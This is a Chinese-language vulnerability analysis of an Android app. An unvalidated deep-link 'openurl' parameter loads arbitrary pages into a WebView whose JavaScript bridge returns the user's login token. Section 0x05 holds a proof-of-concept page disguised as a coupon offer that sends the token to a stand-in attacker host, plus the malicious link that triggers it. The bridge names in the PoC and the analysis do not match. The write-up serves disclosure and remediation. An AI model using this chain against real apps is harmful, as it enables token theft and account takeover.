Android 应用内 Schema 分发导致的逻辑劫持与 Token 泄露风险
0x00 技术综述
在现代 Android 混合开发 (Hybrid App) 中,应用通常会通过注册自定义 URL Scheme 的方式实现从 Web 端或第三方应用直接调起内部业务。如果开发者对外部输入的 Intent 数据处理不当,特别是在其作为 WebView 加载源时未进行严格的域校验,将导致敏感业务逻辑被外部劫持,进而演化为沙箱内任意文件读取或敏感数据(如认证凭证)泄露。
本文将通过对某智慧生活类 APP(以下代称 TargetApp)的深度分析,展示如何利用其组件导出及不安全的 WebView 交互实现远程 Token 窃取。
0x01 技术背景与核心概念
在深入分析该漏洞之前,有必要了解 Android 应用架构中几个关键的安全机制:
1. Android 组件 (Components) 与导出属性 (Exported)
Android 应用由四大核心组件构成:Activity (界面)、Service (后台服务)、Broadcast Receiver (广播接收器) 和 Content Provider (内容提供者)。每一个组件在 AndroidManifest.xml 中声明。
android:exported: 该属性决定了组件是否可以被应用外部的组件启动。
false: 表示该组件仅限应用自身或具有相同 UID 的应用访问(私有组件)。true: 表示该组件可以被系统中任何其他应用拉起(导出组件)。如果由于业务需求必须设置为true,则需要额外的权限保护或数据校验。
2. Intent 机制与 Intent Filter
Intent 是 Android 应用内部及应用间进行消息传递的核心机制。

- 显式 Intent (Explicit Intent): 明确指定了目标组件的类名。安全性高。
- 隐式 Intent (Implicit Intent): 不指定类名,仅通过 Action 或 Data 进行模糊匹配。Schema 调起主要依赖于隐式 Intent。
- BROWSABLE: 这是一个关键的 Category 属性。如果一个 Intent Filter 包含
CATEGORY_BROWSABLE,意味着它允许被系统浏览器中的网页跳转直接触发。
3. DeepLink 与 Scheme 机制
DeepLink(深度链接)允许应用注册一个自定义的协议头(如 myapp://)。当系统收到这种 URI 请求时,会查找到注册了对应 Scheme 的应用并将其拉起。这种机制极大地提升了用户体验,但也引入了不可信数据输入的风险。如果应用在拉起后直接使用 URI 中的参数而不进行白名单校验,就会产生“重定向”风险。
4. WebView 与 JavascriptInterface (Hybrid 安全模型)
为了同时拥有 Web 的灵活性和 Native 的高性能,许多应用采用混合开发。
- addJavascriptInterface: 该方法允许开发者将一个 Java 对象映射到 WebView 的 JavaScript 环境中。
- 安全加固与 @JavascriptInterface: 在 Android 4.2 (API 17) 之前,暴露给 JS 的 Java 对象的所有公共方法都可以被反射调用,存在严重的远程代码执行 (RCE) 风险。此后,系统要求必须在方法上显式标记
@JavascriptInterface注解,JS 才能调用。 - 逻辑风险: 虽然反射攻击被堵住,但业务逻辑泄露依然存在。如果开发者将敏感的 Token 获取方法标记了该注解,并在 WebView 加载攻击者控制页面时未进行 URL 过滤,攻击者依然可以通过合法调用泄露用户隐私。
- *
0x02 暴露面与边界信任风险评估 (Exposure & Boundary Trust Assessment)
在移动安全评估中,外部攻击面的核心在于“可被外界直接触达的接口”。对于 TargetApp 而言,其最显著的暴露面在于 Manifest 中声明的导出 Activity。
2.1 导出组件暴露性深度评估
通过反编译配置,我们锁定了一个承担业务分发职责的核心组件:SchemaProxyActivity。

关键属性详细审计:
- Visibility (android:exported="true"): 该组件被明确标记为外部可见且未声明任何
android:permission保护。这意味着系统中任何具有INTERNET权限的第三方恶意应用(恶意 App)均可直接构造 Intent 唤起该组件。 - Access Category (BROWSABLE): 包含
android.intent.category.BROWSABLE属性。这是一种极高风险的配置,它将应用的攻击面从本地应用间通信(IPC)直接扩展到了全球互联网。攻击者只需通过社会工程学手段诱导受害者点击一个经过特殊构造的链接(如网页中的<a>标签),即可实现远程控制流劫持。 - LaunchMode (singleTask): 该组件采用
singleTask启动模式。在安全视角下,这意味着该 Activity 承担了“分发器”的角色。如果该组件已在运行,新的攻击 Intent 会通过onNewIntent方法注入。如果开发者在处理onNewIntent时未进行严格的数据源校验,将导致持续性的攻击风险。 - UI Appearance (Theme.Translucent): 该组件使用了透明主题。这意味着在恶意跳转发生时,用户可能完全察觉不到应用曾被拉起过(瞬时跳转至下一级页面),极大地提高了攻击的隐蔽性。
2.2 Intent 过滤器 (Intent Filter) 数据解析分析
该组件配置了多组自定义协议映射,其中最核心的攻击向量如下:
<activity android:name\="com.xxx.lib.common.view.activity.SchemaProxyActivity" ...\>
<intent-filter\>
<action android:name\="android.intent.action.VIEW"/>
<category android:name\="android.intent.category.DEFAULT"/>
<category android:name\="android.intent.category.BROWSABLE"/>
<data android:scheme\="target\_app\_scheme"/> <!-- 自定义伪私有协议 -->
</intent-filter\>
</activity\>
协议设计缺陷分析:
- 缺乏域收敛 (Domain Restriction): 开发者仅定义了
scheme,而未通过android:host或android:path对数据源进行约束。这导致该协议成为了一个“全通权限”的入口,任何遵循该协议格式的 URI 都会被盲目接收。 - 私有 Action 风险: 观察到还定义了
com.xxx.android.scheme这种自定义 Action。这类 Action 往往涉及底层的业务逻辑分发,且通常缺乏标准化的安全过滤机制,是寻找越权操作的重点对象。 - *
0x03 调用链深度追踪 (Implementation Analysis)
3.1 逻辑分发层:Intent 重定向漏洞
在 SchemaProxyActivity 的逻辑入口处,应用对传入的 Uri 数据进行了解析。源码逻辑(sources/com/xxx/lib/module/g.java)显示:
public final void dispatchUri(Activity activity, Uri uri) {
if (uri \== null) return;
String authority \= uri.getAuthority();
// 权限与路径解析
if (kotlin.jvm.internal.x.b(authority, "openurl")) {
// \[漏洞点A\]:直接获取名为 "url" 的参数
String rawUrl \= uri.getQueryParameter("url");
if (android.text.TextUtils.isEmpty(rawUrl)) return;
String decodedUrl \= Uri.decode(rawUrl);
// \[漏洞点B\]:未对 decodedUrl 进行任何白名单过滤或域校验
// 直接将其作为目标地址启动 WebView 容器
launchInternalWebView(activity, decodedUrl);
}
}
缺陷分析: 上述代码存在典型的 Intent Redirection(Intent 重定向) 缺陷。应用将外部可控的参数 url 直接信任并透传给内部的高效组件(WebView),从而允许外部攻击者通过此跳转进入受限的应用内部环境。
0x04 核心载荷分析:WebView 桥接风险 (Native Bridge Attack)
4.1 注入接口的敏感权限
当攻击者构造的恶意 URL 被加载后,受害应用的 WebActivity 会初始化其业务桥接接口。 在 ProgressWebView.java 中,我们观察到如下配置:

// 危险配置:暴露 Java 接口至 JS 执行环境
this.mWebView.addJavascriptInterface(new NativeInterface(context), "bridgeObject");
// 危险配置:开启通用的跨源策略,允许跨文件域操作
this.mWebView.getSettings().setAllowUniversalAccessFromFileURLs(true);
4.2 敏感方法评估与凭证持久化风险
通过对注入的 NativeInterface(逻辑位置:sources/d3/h.java)进行反汇编,发现其标注了 @JavascriptInterface 的方法中包含直接返回敏感凭证的操作:
@JavascriptInterface
public final String sendScoreAndToken() {
// 逻辑缺陷:未校验调用源 URL,直接从全局上下文读取 Token
LoginData account \= App.getInstance().getAccountManager().getLoginData();
String token \= (account != null) ? account.getToken() : "";
// 构造 JSON 返回给 JavaScript 环境
return String.format("{\\"token\\":\\"%s\\", \\"score\\":%d}", token, account.getScore());
}
深度分析与危害评估:
- 凭证等效性:在该应用的业务逻辑中,返回的
token通常作为 HTTP 请求头(如Authorization或X-Auth-Token)用于身份验证。其危害级别等同于传统的 HTTP Session Cookie。 - 跨站脚本攻击 (XSS) 延伸:由于 WebView 开启了
setJavaScriptEnabled(true)且未对加载域名进行白名单限制,攻击者可以通过 DeepLink 强迫应用加载恶意页面。恶意页面中的脚本可直接调取上述接口,实现“零交互”式的 Token 窃取。 - Cookie 持久化风险:虽然该接口直接返回 Token,但通过开启的
setAllowUniversalAccessFromFileURLs(true),攻击者理论上可以通过 XHR 加载file://协议读取应用私有目录下的 WebView 数据库(如webviewCookiesChromium.db),从而获取受 HttpOnly 保护的传统 Cookie。
0x05 漏洞复现证明 (PoC Implementation)
5.1 构造复现页面
攻击者在远程服务器部署如下 HTML (poc.html),用于触发漏洞并窃取凭证:
<html\>
<head\>
<meta charset\="UTF-8"\>
<title\>优惠领取</title\>
</head\>
<body\>
<script\>
function startExploit() {
try {
// 调用导出的 Java 接口
if (window.harmonyAndroidScore) {
var data \= window.harmonyAndroidScore.sendScoreAndToken();
// 将敏感数据外传至攻击者服务器
var xhr \= new XMLHttpRequest();
xhr.open("GET", "http://attacker-controlled.site/log?data=" + encodeURIComponent(data), true);
xhr.send();
alert("检测到敏感凭证泄露: " + data);
}
} catch (e) { console.error(e); }
}
// 延迟执行确保 Native 接口注入完成
setTimeout(startExploit, 1000);
</script\>
</body\>
</html\>
5.2 触发链条
诱导受害者点击如下恶意链接即可触发自动化攻击流: ilife798://openurl?url=http://attacker-controlled.site/poc.html

5.3 复现结果证明
在测试环境(ADB 连接状态)下执行上述 Payload,攻击者服务器成功捕获到由应用内部接口返回的 JSON 数据:

{
"token": "be\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*f5c",
"score": "0"
}
结论证明:该 Token 可直接用于替换 HTTP 请求头,从而实现对目标用户账户的完全劫持。
0x06 防御方案 (Remediation)
1. 强化 Intent 参数校验
在分发层加入严格的 URL 白名单校验逻辑。
public boolean isTrustedUrl(String url) {
Uri uri \= Uri.parse(url);
String host \= uri.getHost();
// 仅允许官方受信任域名
return host != null && host.endsWith(".official-domain.com");
}
2. WebView 交互域隔离
在 bridgeObject 的关键方法中,应增加对当前加载 URL 的二次验证:
@JavascriptInterface
public final String sendScoreAndToken() {
String currentUrl \= mWebView.getUrl();
if (!verifyOrigin(currentUrl)) {
return "{\\"error\\":\\"unauthorized\_origin\\"}";
}
// 返回正常逻辑
}
3. 系统配置加固
- 设置
android:allowBackup="false"。 - 将内部分发 Activity 权限设置为
android:protectionLevel="signature"或关闭导出属性。 - *
结论: 本案例展示了组件导出与逻辑分发缺陷如何转化成严重的敏感信息劫持漏洞。开发者应高度重视跨边界数据流的过滤与 WebView 环境的权限隔离。
免责声明: 相关技术细节已反馈至有关部门。本文仅供学术研讨,严禁用于实际非法攻击。